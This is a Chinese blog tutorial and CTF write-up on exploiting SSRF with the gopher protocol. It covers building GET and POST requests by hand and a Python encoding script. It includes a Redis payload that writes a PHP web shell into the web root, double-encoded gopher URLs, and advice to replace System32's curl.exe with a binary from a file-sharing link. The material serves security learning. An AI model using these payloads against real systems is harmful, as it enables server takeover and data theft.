Gopher协议与ssrf
文章目录
- 0x01 reference和环境准备
- 0x02 使用gopher构造GET、POST请求
- 构造GET请求
- 构造POST请求:
- 0x03 CTF实战
- [GKCTF2020]EZ三剑客-EzWeb
- ctfhub POST请求
0x01 reference和环境准备
参考 Gopher协议在SSRF漏洞中的深入研究(附视频讲解)
参考 Gopher协议与redis未授权访问
Gopher协议格式:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
- gopher的默认端口是70
- 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
注意%0d%0a是\r\n的URL编码。
遇到问题:win10自带的curl不支持gopher协议
网上下了一个,链接放在下面
- 百度云链接:https://pan.baidu.com/s/1bqX3NF-LL5tt6dE8JEd9QQ 提取码:6h6z
将bin目录下三个文件放在C:\Windows\System32目录下,就不用添加环境变量了,替换原来的curl.exe。当然也可以放在其他地方不过要自己添加环境变量。
删除原来的curl.exe的方法:https://zhidao.baidu.com/question/1384229736645191820.html
0x02 使用gopher构造GET、POST请求
nc启动监听,监听6666端口:
nc -lvp 6666
使用curl发送http请求,命令为
curl gopher://121.196.196.190:6666/abcd
此时nc收到的消息为:bcd
可以发现url中的a没有被nc接受到,如果命令变为
curl gopher://121.196.196.190:6666/_abcd
此时nc收到的消息为:abcd
所以需要在使用gopher协议时在url后加入一个字符(该字符可随意写)
构造GET请求
那么如何发送HTTP的请求呢?例如GET请求。此时我们联想到,直接发送一个原始的HTTP包不就可以吗?在gopher协议中发送HTTP的数据,需要以下三步:
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
4.、gopher协议后的IP一定要接端口
服务器上的代码
<?phpecho "Hello ".$_REQUEST["name"]."\n"
?>
一个GET型的HTTP包,如下:
GET /hello.php?name=Margin HTTP/1.1
Host: 121.196.196.190
URL编码并将%0A替换为%0d%0A、问号?替换为%3f、结尾加上%0d%0A
curl gopher://121.196.196.190:80/_GET%20/hello.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20121.196.196.190%0d%0A
发送成功
构造POST请求:
POST与GET传参的区别:它有4个参数为必要参数
需要传递Content-Type,Content-Length,host,post
的参数,且Content-Length的长度必须正确
POST /hello.php HTTP/1.1
Host: 121.196.196.190
Content-Type:application/x-www-form-urlencoded
Content-Length:13name=qaq
现在我们将它进行URL编码:
POST%20/hello.php%20HTTP/1.1%0AHost:%20121.196.196.190%0AContent-Type:application/x-www-form-urlencoded%0AContent-Length:13%0A%0Aname=qaq
将%0A替换为%0d%0A、问号?替换为%3f、结尾加上%0d%0A
curl gopher://121.196.196.190:80/_POST%20/hello.php%20HTTP/1.1%0d%0AHost:%20121.196.196.190%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:13%0d%0A%0d%0Aname=qaq%0d%0a
成功
0x03 CTF实战
[GKCTF2020]EZ三剑客-EzWeb
源码发现提示,得到内网地址
输入www.baidu.com回显百度页面,判断存在ssrf
使用file: /var/www/html/index.php能读取到源码
<?php
function curl($url){ $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}if(isset($_GET['submit'])){$url = $_GET['url'];//echo $url."\n";if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match)){//var_dump($match);die('别这样');}curl($url);
}
if(isset($_GET['secret'])){system('ifconfig');
}
?>
过滤了file协议、dict协议、127.0.0.1和localhost,还可以使用http、gopher
我们使用http协议进行内网主机存活探测。
使用burp进行c段扫描
发现目标
接下来使用Gopherus生成打redis payload
修改一下url,输入框中输入payload
gopher://10.0.158.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
然后访问shell.php得到flag
ctfhub POST请求
这道题需要用gopher协议构造一个post包,参数为key
http访问flag.php得到key的值为5805170ffc11f479662274d624b462d1
构造的包如下
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36key=5805170ffc11f479662274d624b462d1
将其url编码
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1%0AContent-Type:application/x-www-form-urlencoded%0AContent-Length:36%0A%0Akey=5805170ffc11f479662274d624b462d1
根据要求将%0A替换为%0d%0A、问号?替换为%3f、结尾加上%0d%0A
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:36%0d%0a%0d%0akey=5805170ffc11f479662274d624b462d1%0d%0a
这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250aHost:%2520127.0.0.1%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aContent-Length:36%250d%250a%250d%250akey=5805170ffc11f479662274d624b462d1%250d%250a
然后发送它,拿到flag
写了个脚本自动完成上述步骤,这道题把payload里的key修改一下就可以
import urllib.parse# 输入要构造的post请求包
payload = '''
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36key=601af1680224be3db87254533bd90ab9
'''
# 自动修改Content-Length长度
Content_Length = len(payload.split()[-1]) # 取得Content-Length
payload = payload.replace("36", str(Content_Length)) # 替换Content-Length
# 输入内网ip与端口
payload = "gopher://127.0.0.1:80/_" + payload.strip()# url编码,python3.0后的编码器 urlencode更新后改为quote_plus
payload = urllib.parse.quote(str(payload))
# 替换
payload = payload.replace("%3A", ":").replace("%0A", "%0d%0a").replace("%3D", "=") + "%0d%0a"
print("[+] 1次url编码\n", payload)
payload = urllib.parse.quote(payload).replace("%3A", ":").replace("%0A", "%0d%0a").replace("%3D", "=")
print("[+] 2次url编码\n", payload)
结果:
[+] 1次url编码:gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:36%0d%0a%0d%0akey=601af1680224be3db87254533bd90ab9%0d%0a
[+] 2次url编码:gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250aHost:%2520127.0.0.1%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aContent-Length:36%250d%250a%250d%250akey=601af1680224be3db87254533bd90ab9%250d%250a
Gopher协议与ssrf相关推荐
- SSRF之GOPHER协议利用
目录 GOPHER协议 GOPHER协议发起的格式 GOPHER利用工具 案例一:CTFSHOW-359关 GOPHER协议 GOPHER协议是一种比HTTP协议还要古老的协议,默认工作端口70,但是 ...
- SSRF中phar协议和gopher协议的利用
我们在学习SSRF漏洞的时候,经常会只关注file协议等,因为利用方式简单.实际上随着php版本的提升和编程技术的规范,能够直接利用的漏洞越来越少了,所以学习使用phar和gopher协议是很有必要的 ...
- php禁用gopher协议,SSRF攻击-运用gopher协议构造POST包--emmmm(http://10.112.68.215:10004/index.php?action=login)...
还是天枢的一道CTF题,启程! 分析题目,自己注册账户并登陆后,提示输入一个url,网站会自己运行查找网页信息. emmmmm,很挑衅,网站就当作服务器,我们在url框中输入一个伪造的执行代码,让他运 ...
- SSRF学习-gopher协议学习
ssrf是攻击者伪造服务器端发起请求的漏洞 读取服务器内部文件 端口扫描 攻击脆弱的内网应用 pikachu靶场 curl_exec() 使用此函数前提 PHP版本>=5.3 开启extensi ...
- SSRF 302跳转 gopher协议攻击redis写入ssh公钥,实现远程无密登录(学习总结)
一.SSRF漏洞 SSRF(Server Side Request Forgery,服务器端请求伪造)是一种攻击者通过构造数据进而伪造服务器端发起请求的漏洞,因为求情是由服务器发出的,所以往往是利用S ...
- 使用curl工具通过Gopher协议发送GET请求
实验环境: web服务器:192.168.31.89(phpstudy搭建web服务) kali:192.168.31.192 浏览器正常请求路径: 1.使用gopher发送GET请求: gophe ...
- SSRF最全总结(协议,绕过)
转载https://www.anquanke.com/post/id/262430#h3-46 SSRF-Labs配置 有些初学者喜欢用这个靶场,讲下怎么搭建 我用的是Ubuntu18:docker和 ...
- SSRF 漏洞危害大,应避免被利用攻击内网应用!| 原力计划
作者 | Qwzf 责编 | 夕颜 头图 | CSDN付费下载自视觉中国 出品 | CSDN博客 前言 SSRF漏洞和CSRF漏洞有一些相似之处:CSRF跨站请求伪造,基于客户端的请求伪造:SSRF服 ...
- 利用SSRF攻击Redis
前置知识 利用SSRF来攻击靶机的redis服务,需要涉及到的一些知识点: 1,Redis客户端和服务端通信过程,以及常用命令: 2,相关协议,例如dict://协议和gother协议的使用 dict ...
- ----已搬运----【总章程】SSRF完全学习,,什么都有,,,原理,绕过,攻击
目录: 1.漏洞详情: 2. SSRF漏洞相关函数和类 2.1 file_get_contents() 2.2 fsockopen() 2.3 curl_exec() 2.4 SoapClient 2 ...
最新文章
- 数据库内核月报 - 2017年12月
- 线性霍尔传感器SS495、A1308、A1302
- About darwin OS
- redistemplate 设置失效时间_袋式除尘器滤袋失效分析
- mysql 存储过程执行慢_MySQL存储过程因为字符集不同导致执行慢
- 0x08 大数据分析,七层基本功
- 有关phpmailer的详细介绍及使用方法
- iOS:Xcode8以下真机测试iOS10.0和iOS10.1配置包
- 数据库 之 事务控制和隔离级别
- HTML的iframe标签的滚动条
- Linux之LIBRARY_PATH与LD_LIBRARY_PATH配置多个目录用法
- 管理感悟:如何看待培训
- 私藏的18个黑科技网站
- Java项目:jsp+servlet网上会议室预约系统
- PS 图像调整算法——反相
- python导入自己的类型_如何将使用导入模块的我自己的类导入jupyter noteb
- 科大讯飞股价暴跌趋势不明,语音交互产业风险巨大吗?
- jQuery伪类选择器
- 如何诊断Shopee店铺?记住这3个操作
- 飞思卡尔 Target Speed Change Detected - New Speed 16.00MHz解决方案
热门文章
- Linux中运行shell脚本的几种方式及其区别(source . ./myscript.sh sh myscript.sh)
- zblog php 安装,Zblog安装教程 zblogphp程序特色和环境要求_徐果萍博客
- 激光雷达考试基础知识
- 高考为什么考计算机信息,信息技术是否应该进入高考?
- 金融知识图谱的现状与展望
- 阿里云域名以及子域名解析教程
- VS2017--如何添加版权声明注释
- 计算机win10搜不到wifi,Windows10笔记本找不到无线网络如何处理
- 路由器: 手把手教你小米路由器 4C 刷 OpenWrt 固件
- np.mat()和np.transpose